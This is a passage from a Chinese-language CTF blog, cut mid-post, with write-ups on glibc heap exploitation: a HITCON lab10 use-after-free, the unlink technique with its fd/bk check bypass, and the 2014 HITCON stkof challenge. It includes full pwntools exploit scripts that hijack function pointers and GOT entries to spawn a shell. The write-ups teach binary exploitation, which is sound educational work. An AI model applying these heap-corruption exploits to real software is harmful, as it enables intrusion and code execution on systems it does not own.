class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> <span class="hljs-title function_">del_note</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">int</span> v1; <span class="hljs-comment">// [esp+4h] [ebp-14h]</span><br> <span class="hljs-type">char</span> buf; <span class="hljs-comment">// [esp+8h] [ebp-10h]</span><br> <span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> v3; <span class="hljs-comment">// [esp+Ch] [ebp-Ch]</span><br><br> v3 = __readgsdword(<span class="hljs-number">0x14u</span>);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Index :"</span>);<br> read(<span class="hljs-number">0</span>, &buf, <span class="hljs-number">4u</span>);<br> v1 = atoi(&buf);<br> <span class="hljs-keyword">if</span> ( v1 < <span class="hljs-number">0</span> || v1 >= count )<br> {<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Out of bound!"</span>);<br> _exit(<span class="hljs-number">0</span>);<br> }<br> <span class="hljs-keyword">if</span> ( notelist[v1] )<br> {<br> <span class="hljs-built_in">free</span>(notelist[v1]->content);<br> <span class="hljs-built_in">free</span>(notelist[v1]);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Success"</span>);<br> }<br> <span class="hljs-keyword">return</span> __readgsdword(<span class="hljs-number">0x14u</span>) ^ v3;<br>}<br></code></pre></td></tr></table></figure><ol><li><p>释放<code>notelist+v1+1</code>处的chunk</p></li><li><p>然后释放<code>notelist+v1</code>处的chunk</p></li><li><p>free这两个chunk时chunk指针并没有被置空</p></li></ol><h4 id="动态调试"><a href="#动态调试" class="headerlink" title="动态调试"></a>动态调试</h4><p><a href="https://www.bilibili.com/video/BV1L8411m7xW/?spm_id_from=333.337.search-card.all.click&vd_source=302a892bb778bc77294aa18fcca329b7">l140w4n9 - Linux堆溢出Use After Free</a></p><blockquote><p>太懒了后面补上</p></blockquote><h4 id="利用姿势"><a href="#利用姿势" class="headerlink" title="利用姿势"></a>利用姿势</h4><blockquote><p>通过 use after free 来使得这个程序执行 magic 函数:<strong>一个很直接的想法是修改 note 的<code>printnote</code>字段为 magic 函数的地址,从而实现在执行<code>printnote</code> 的时候执行 magic 函数</strong></p></blockquote><p>我们来看看如何实现:</p><ol><li>程序申请 8 字节内存用来存放 note 中的 printnote 以及 content 指针。</li><li>程序根据输入的 size 来申请指定大小的内存,然后用来存储 content。</li></ol><p><img src="/images/uaf-hitcon-lab10/uaf_exp.png"></p><h5 id="Details"><a href="#Details" class="headerlink" title="Details"></a>Details</h5><ul><li>申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)</li><li>申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)</li><li>释放 note0</li><li>释放 note1</li><li>此时,大小为 16 的 fast bin chunk 中链表为 <code>note1->note0</code></li><li>申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则,note2 其实会分配 note1 对应的内存块(因为我们先释放的是 note0 再释放的 note1,那么 note1 就是链表的尾部,fast bin 是先进后出的,直接对链表尾进行操作)</li><li>所以 real content 对应的 chunk 其实是 note0</li><li>如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数</li></ul><h4 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># -*- coding: utf-8 -*-</span><br><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br>r = process(<span class="hljs-string">'./hacknote'</span>)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">addnote</span>(<span class="hljs-params">size, content</span>):<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(<span class="hljs-string">b"1"</span>)<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(<span class="hljs-built_in">str</span>(size).encode())<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(content)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">delnote</span>(<span class="hljs-params">idx</span>):<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(<span class="hljs-string">b"2"</span>)<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(<span class="hljs-built_in">str</span>(idx).encode())<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">printnote</span>(<span class="hljs-params">idx</span>):<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(<span class="hljs-string">b"3"</span>)<br> r.recvuntil(<span class="hljs-string">b":"</span>)<br> r.sendline(<span class="hljs-built_in">str</span>(idx).encode())<br><br>magic = <span class="hljs-number">0x08048986</span><br><br>addnote(<span class="hljs-number">16</span>, <span class="hljs-string">b"aaaa"</span>) <span class="hljs-comment"># add note 0</span><br>addnote(<span class="hljs-number">16</span>, <span class="hljs-string">b"ddaa"</span>) <span class="hljs-comment"># add note 1</span><br><br>delnote(<span class="hljs-number">0</span>) <span class="hljs-comment"># delete note 0</span><br>delnote(<span class="hljs-number">1</span>) <span class="hljs-comment"># delete note 1</span><br><br>addnote(<span class="hljs-number">8</span>, p32(magic)) <span class="hljs-comment"># add note 2</span><br>printnote(<span class="hljs-number">0</span>) <span class="hljs-comment"># print note 0</span><br><br>r.interactive()<br></code></pre></td></tr></table></figure><p><img src="/images/uaf-hitcon-lab10/getshell.png"></p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><p>CTF-Wiki</p><ul><li><a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/use-after-free/#_3">Use After Free</a></li></ul></li><li><p>CSDN</p><ul><li><a href="https://blog.csdn.net/qq_41202237/article/details/108797478">好好说话之Use After Free</a></li><li><a href="https://blog.csdn.net/m0_57836225/article/details/143894272">PWN -UAF(Use After Free)漏洞解析</a></li></ul></li><li><p>CNBLOGS</p><ul><li><a href="https://www.cnblogs.com/happynoy/p/16276285.html"> [BUUCTF]刷题记录:hitcontraining_uaf</a></li><li><a href="https://www.cnblogs.com/welkinchan/p/12212989.html">UAF——use after free</a></li></ul></li><li><p>Blogs</p><ul><li><a href="https://yufeiyu33.github.io/posts/41088.html">UAF漏洞(hitcontraining_uaf)</a></li><li><a href="https://yyyffff.github.io/2025/08/02/%E4%B8%80%E4%BA%9B%E9%A2%98%E7%9B%AE%E8%AE%B0%E5%BD%95/">一些题目记录 - HITCON-training lab 10 hacknote</a></li><li><a href="https://c1oudfl0w0.github.io/blog/2025/03/02/Use-After-Free/#%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90">Use After Free</a></li><li><a href="https://darkwing.moe/2019/06/25/Pwn%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B022-Use-After-Free/">Pwn学习笔记22:Use After Free</a></li><li><a href="https://tangzichengcc.github.io/pwn%E5%85%A5%E9%97%A8-15-%E5%A0%86%E5%88%A9%E7%94%A8%E4%B9%8BUse-After-Free/">pwn入门-15-堆利用之Use-After-Free</a></li></ul></li><li><p>先知</p><ul><li><a href="https://xz.aliyun.com/news/6742">Hitcon Traning Lab10做题笔记 —— UAF漏洞分析</a></li><li><a href="https://xz.aliyun.com/news/13928">堆利用Use After Free 详解</a></li><li><a href="https://binhack.readthedocs.io/zh/latest/heap/uaf.html"> 二进制安全学习笔记 - 11.1. Use After Free</a></li></ul></li><li><p>Bilibili</p><ul><li><a href="https://www.bilibili.com/video/BV1L8411m7xW/?spm_id_from=333.337.search-card.all.click&vd_source=302a892bb778bc77294aa18fcca329b7">Linux堆溢出Use After Free</a></li></ul></li></ul>]]></content>
<categories>
<category>Heap</category>
</categories>
<tags>
<tag>Heap</tag>
<tag>Pwn</tag>
<tag>UAF</tag>
</tags>
</entry>
<entry>
<title>花与堆之Unlink</title>
<link href="/2026/02/11/heap-ptmalloc2-unlink/"/>
<url>/2026/02/11/heap-ptmalloc2-unlink/</url>
<content type="html"><![CDATA[<h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><ol><li>unlink俗称脱链,就是将链表头处的free堆块从unsorted bin中脱离出来,然后和<strong>物理地址相邻</strong>的新free的堆块合并成大堆块(向前合并或向后合并),再放入到unsorted bin中。</li><li>危害原理:通过伪造free状态的fake_chunk,伪造<code>fd</code>和<code>bk</code>指针,通过绕过unlink的检测实现unlink使其往p所在的位置写入p-0x18,从而实现<strong>任意地址写</strong>的漏洞。</li><li>漏洞产生原因:<code>Offbynull</code>、<code>offbyone</code>、堆溢出,原因是修改了堆块的使用标志位。</li></ol><h3 id="源码解读"><a href="#源码解读" class="headerlink" title="源码解读"></a>源码解读</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">/*malloc.c int_free函数中*/</span><br><span class="hljs-comment">/*这里p指向当前malloc_chunk结构体*/</span><br><span class="hljs-keyword">if</span> (!prev_inuse(p)) {<br> prevsize = p->prev_size;<br> size += prevsize;<br><span class="hljs-comment">//修改指向当前chunk的指针,指向前一个chunk。</span><br> p = chunk_at_offset(p, -((<span class="hljs-type">long</span>) prevsize)); <br> <br> unlink(p, bck, fwd);<br>} <br></code></pre></td></tr></table></figure><ol><li><p>进行判断:看当前堆块中<code>p</code>这个标志位,如果<code>p</code>设置为0则为free状态,则进行unlink,否则反之;</p></li><li><p>先提取prev_size,然后当前size+prev_size,此时指针会指向当前chunk的前一个堆块,合并后的指针地址为:free的堆块地址 - 前一个chunk大小,此时<code>p</code>指针则会从现在的堆块跳到前一个堆块;</p></li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c">prevsize = p->prev_size;<br>size += prevsize; <br></code></pre></td></tr></table></figure><ol start="3"><li>最后是将这个堆块和相邻的(这里是上一个)一起unlink。</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">//相关函数说明:</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) </span><br><span class="hljs-comment">/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> unlink(P, BK, FD) { \</span><br><span class="hljs-meta"> FD = P->fd; \</span><br><span class="hljs-meta"> BK = P->bk; \</span><br><span class="hljs-meta"> <span class="hljs-keyword">if</span> (__builtin_expect (FD->bk != P || BK->fd != P, 0)) </span><br> malloc_printerr (check_action, <span class="hljs-string">"corrupted double-linked list"</span>, P, AV);<br> FD->bk = BK; \<br> BK->fd = FD; \<br> ...<br>}<br></code></pre></td></tr></table></figure><p>unlink函数是如何定义的:</p><ol><li><p>从合并后新指针地址中提取出<code>fd</code>指针和<code>bk</code>指针作为临时变量;</p></li><li><p>这里有一个check,检查FD的bk和BK的fd是否指向当前堆块,若不通过则不进行unlink;</p></li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">if</span> (__builtin_expect (FD->bk != P || BK->fd != P, <span class="hljs-number">0</span>)) <br> malloc_printerr (check_action, <span class="hljs-string">"corrupted double-linked list"</span>, P, AV);<br></code></pre></td></tr></table></figure><ol start="3"><li>通过后会把BK赋值给FD的bk,把FD赋值给BK的fd。</li></ol><p><img src="/images/heap-ptmalloc2-unlink/unlinkc.png"></p><h2 id="unlink的绕过和利用"><a href="#unlink的绕过和利用" class="headerlink" title="unlink的绕过和利用"></a>unlink的绕过和利用</h2><p>我们伪造如下信息:</p><ol><li>chunk = 0x0602280 (P是将要合并到的堆地址,P存在chunk中,相当于 <code>*chunk = P</code>)</li><li>P_fd = chunk - 0x18 = 0x0602268</li><li>P_bk = chunk - 0x10 = 0x0602270</li></ol><blockquote><p>我在学习的过程中此处卡住了,对于为什么是减去<code>0x18</code>和<code>0x10</code>这两个值我们在此复习一下为什么是减去<code>0x18</code>和<code>0x10</code>,在 glibc 的 malloc 实现(ptmalloc)中,<strong>在释放前、不在 bin 中时</strong>,chunk 结构为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">malloc_chunk</span> {</span><br> <span class="hljs-type">size_t</span> prev_size; <span class="hljs-comment">// 0x00 偏移(如果前一个块空闲,才有用)</span><br> <span class="hljs-type">size_t</span> size; <span class="hljs-comment">// 0x08 偏移(包含标志位)</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">malloc_chunk</span>* <span class="hljs-title">fd</span>;</span> <span class="hljs-comment">// 0x10 偏移(仅在 bin 中使用)</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">malloc_chunk</span>* <span class="hljs-title">bk</span>;</span> <span class="hljs-comment">// 0x18 偏移</span><br> <span class="hljs-comment">// ... 更后面还有 fd_nextsize, bk_nextsize(large bin)</span><br>};<br></code></pre></td></tr></table></figure><p>而回顾上面的内容有这样的一条:”通过后会把BK赋值给FD的bk,把FD赋值给BK的fd。”</p></blockquote><h3 id="绕过技巧"><a href="#绕过技巧" class="headerlink" title="绕过技巧"></a>绕过技巧</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs c">define <span class="hljs-title function_">unlink</span><span class="hljs-params">(P, BK, FD)</span> { \<br> FD = P->fd; \FD = <span class="hljs-number">0x602268</span><br> BK = P->bk; \BK = <span class="hljs-number">0x602270</span><br> <span class="hljs-keyword">if</span> (__builtin_expect (FD->bk != P || BK->fd != P, <span class="hljs-number">0</span>)) \FD->bk = *(<span class="hljs-number">0x602268</span>+<span class="hljs-number">0x18</span>) | *(<span class="hljs-number">0x602280</span>) = P <br>\ BK->fd = *(<span class="hljs-number">0x602270</span>+<span class="hljs-number">0x10</span>) = *(<span class="hljs-number">0x602280</span>) = P ,绕过! <br> malloc_printerr (check_action, <span class="hljs-string">"corrupted double-linked list"</span>, P, AV);<br> FD->bk = BK; \*(<span class="hljs-number">0x602268</span>+<span class="hljs-number">0x18</span>) | *(<span class="hljs-number">0x602280</span>) = <span class="hljs-number">0x602270</span><br> BK->fd = FD; \ *(<span class="hljs-number">0x602270</span>+<span class="hljs-number">0x10</span>) | *(<span class="hljs-number">0x602280</span>) = <span class="hljs-number">0x602268</span><br> ...<br>}<br></code></pre></td></tr></table></figure><ol><li>绕过检查可以总结成:$FD->bk == P$ 和 $BK->fd == P$,等价于: $<em>(P_fd + 0x18) == P$ 和 $</em>(P_bk + 0x10) == P$</li><li>可以构造成</li></ol><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">P_fd = P - 0x18<br>P_bk = P - 0x10<br></code></pre></td></tr></table></figure><p>即:</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs text">FD = P - 0x18<br>FD->bk = (P - 0x18) + 0x18 = P → 内容等于 P(绕过)<br><br>BK = P - 0x10<br>BK->fd = (P - 0x10) + 0x10 = P → 内容等于 P(绕过)<br></code></pre></td></tr></table></figure><p>总结起来就是:<strong>让 <code>P->fd</code> 指向 <code>P - 0x18</code>,<code>P->bk</code> 指向 <code>P - 0x10</code>,就能绕过 <code>FD->bk == P</code> 和 <code>BK->fd == P</code> 检查,并使 <code>\*P</code> 被覆写为 <code>P - 0x18</code>。</strong></p><h2 id="2014-HITCON-stkof"><a href="#2014-HITCON-stkof" class="headerlink" title="2014 HITCON stkof"></a>2014 HITCON stkof</h2><ol><li>堆布局</li><li>伪造 fake chunk</li><li>fd/bk = ptr-0x18/ptr-0x10</li><li>修改 next chunk 的 prev_size/size</li><li>unlink 写全局指针</li><li>写 GOT 表项</li><li>先 leak 后 getshell</li></ol><p><strong>EXP:</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br><span class="hljs-keyword">from</span> LibcSearcher <span class="hljs-keyword">import</span> *<br>context.log_level = <span class="hljs-string">'debug'</span><br><br><span class="hljs-comment">#libc = ELF('./libc.so.6')</span><br><span class="hljs-comment">#sh = process("./stkof")</span><br>sh = remote(<span class="hljs-string">"node5.buuoj.cn"</span>,<span class="hljs-number">25830</span>)<br>stkof = ELF(<span class="hljs-string">'./stkof'</span>)<br>head = <span class="hljs-number">0x602140</span><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">malloc</span>(<span class="hljs-params">size</span>):<br> sh.sendline(<span class="hljs-string">b'1'</span>)<br> sh.sendline(<span class="hljs-built_in">str</span>(size))<br> sh.recvuntil(<span class="hljs-string">b'OK\n'</span>)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">edit</span>(<span class="hljs-params">idx,size,content</span>):<br> sh.sendline(<span class="hljs-string">b'2'</span>)<br> sh.sendline(<span class="hljs-built_in">str</span>(idx))<br> sh.sendline(<span class="hljs-built_in">str</span>(size))<br> sh.send(content)<br> sh.recvuntil(<span class="hljs-string">'OK\n'</span>)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">free</span>(<span class="hljs-params">idx</span>):<br> sh.sendline(<span class="hljs-string">b'3'</span>)<br> sh.sendline(<span class="hljs-built_in">str</span>(idx))<br><br><br>malloc(<span class="hljs-number">0x100</span>) <br>malloc(<span class="hljs-number">0x30</span>) <br>malloc(<span class="hljs-number">0x80</span>) <br><br>payload = p64(<span class="hljs-number">0</span>) <span class="hljs-comment">#pre_size = 0</span><br>payload += p64(<span class="hljs-number">0x20</span>) <span class="hljs-comment">#fake size</span><br>payload += p64(head + <span class="hljs-number">0x10</span> - <span class="hljs-number">0x18</span>) <br>payload += p64(head + <span class="hljs-number">0x10</span> - <span class="hljs-number">0x10</span>) <br>payload += p64(<span class="hljs-number">0x20</span>) <br><br>payload = payload.ljust(<span class="hljs-number">0x30</span>,<span class="hljs-string">b'a'</span>)<br>payload += p64(<span class="hljs-number">0x30</span>) <br><br>payload += p64(<span class="hljs-number">0x90</span>) <br><br>edit(<span class="hljs-number">2</span>, <span class="hljs-built_in">len</span>(payload), payload) <br><br>free(<span class="hljs-number">3</span>) <br>sh.recvuntil(<span class="hljs-string">'OK\n'</span>)<br><br>payload2 = <span class="hljs-string">b'a'</span> * <span class="hljs-number">8</span> + p64(stkof.got[<span class="hljs-string">'free'</span>]) + p64(stkof.got[<span class="hljs-string">'puts'</span>]) + p64(stkof.got[<span class="hljs-string">'atoi'</span>])<br><br>edit(<span class="hljs-number">2</span>,<span class="hljs-built_in">len</span>(payload2),payload2) <br>payload3 = p64(stkof.plt[<span class="hljs-string">'puts'</span>])<br><br>edit(<span class="hljs-number">0</span>,<span class="hljs-built_in">len</span>(payload3),payload3) <br><br>free(<span class="hljs-number">1</span>) <br><br>puts_addr = u64(sh.recvuntil(<span class="hljs-string">'\nOK\n'</span>, drop=<span class="hljs-literal">True</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">b'\x00'</span>)) <br><span class="hljs-comment">#</span><br><span class="hljs-comment"># libc_base = puts_addr - libc.symbols['puts']</span><br><span class="hljs-comment"># binsh_addr = libc_base + next(libc.search(b'/bin/sh'))</span><br><span class="hljs-comment"># system_addr = libc_base + libc.symbols['system']</span><br><span class="hljs-comment">#</span><br>libc = LibcSearcher(<span class="hljs-string">'puts'</span>,puts_addr)<br>libc_base = puts_addr - libc.dump(<span class="hljs-string">'puts'</span>)<br>system_addr = libc_base + libc.dump(<span class="hljs-string">'system'</span>)<br><br>payload4 = p64(system_addr)<br>binsh_addr =libc_base + libc.dump(<span class="hljs-string">'str_bin_sh'</span>)<br><br>edit(<span class="hljs-number">2</span>, <span class="hljs-built_in">len</span>(payload4), payload4)<br>sh.send(p64(binsh_addr))<br>sh.interactive()<br></code></pre></td></tr></table></figure><h2 id="HITCON-Training-Lab-Unlink"><a href="#HITCON-Training-Lab-Unlink" class="headerlink" title="HITCON Training Lab - Unlink"></a>HITCON Training Lab - Unlink</h2><h3 id="Checksec"><a href="#Checksec" class="headerlink" title="Checksec"></a>Checksec</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Pwn/heap/unlink/hitcontraining_unlink [15:14:56]</span><br>$ checksec bamboobox<br>[*] <span class="hljs-string">'/home/zer0ptr/CTF-Pwn/heap/unlink/hitcontraining_unlink/bamboobox'</span><br> Arch: amd64-64-little<br> RELRO: Partial RELRO<br> Stack: Canary found<br> NX: NX enabled<br> PIE: No PIE (0x400000)<br> Stripped: No<br></code></pre></td></tr></table></figure><p><strong>NO PIE</strong></p><h3 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h3><h4 id="main函数"><a href="#main函数" class="headerlink" title="main函数"></a>main函数</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> __fastcall <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">int</span> argc, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **argv, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **envp)</span><br>{<br> <span class="hljs-type">void</span> (**v4)(<span class="hljs-type">void</span>); <span class="hljs-comment">// [rsp+8h] [rbp-18h]</span><br> <span class="hljs-type">char</span> buf[<span class="hljs-number">8</span>]; <span class="hljs-comment">// [rsp+10h] [rbp-10h] BYREF</span><br> <span class="hljs-type">unsigned</span> __int64 v6; <span class="hljs-comment">// [rsp+18h] [rbp-8h]</span><br><br> v6 = __readfsqword(<span class="hljs-number">0x28u</span>);<br> setvbuf(<span class="hljs-built_in">stdout</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>);<br> setvbuf(<span class="hljs-built_in">stdin</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>);<br> v4 = (<span class="hljs-type">void</span> (**)(<span class="hljs-type">void</span>))<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10u</span>);<br> *v4 = (<span class="hljs-type">void</span> (*)(<span class="hljs-type">void</span>))hello_message;<br> v4[<span class="hljs-number">1</span>] = (<span class="hljs-type">void</span> (*)(<span class="hljs-type">void</span>))goodbye_message;<br> (*v4)();<br> <span class="hljs-keyword">while</span> ( <span class="hljs-number">1</span> )<br> {<br> menu();<br> read(<span class="hljs-number">0</span>, buf, <span class="hljs-number">8u</span>);<br> <span class="hljs-keyword">switch</span> ( atoi(buf) )<br> {<br> <span class="hljs-keyword">case</span> <span class="hljs-number">1</span>:<br> show_item();<br> <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">case</span> <span class="hljs-number">2</span>:<br> add_item();<br> <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">case</span> <span class="hljs-number">3</span>:<br> change_item();<br> <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">case</span> <span class="hljs-number">4</span>:<br> remove_item();<br> <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">case</span> <span class="hljs-number">5</span>:<br> v4[<span class="hljs-number">1</span>]();<br> <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);<br> <span class="hljs-keyword">default</span>:<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"invaild choice!!!"</span>);<br> <span class="hljs-keyword">break</span>;<br> }<br> }<br>}<br></code></pre></td></tr></table></figure><p>然后ida反编译查看main函数,各功能一目了然。注意到每次输入choice后,都要通过atoi()函数来将其转为整型,这是漏洞利用的关键之一;</p><p>show_item:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">show_item</span><span class="hljs-params">()</span><br>{<br> <span class="hljs-type">int</span> i; <span class="hljs-comment">// [rsp+Ch] [rbp-4h]</span><br><br> <span class="hljs-keyword">if</span> ( !num )<br> <span class="hljs-keyword">return</span> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"No item in the box"</span>);<br> <span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; i <= <span class="hljs-number">99</span>; ++i )<br> 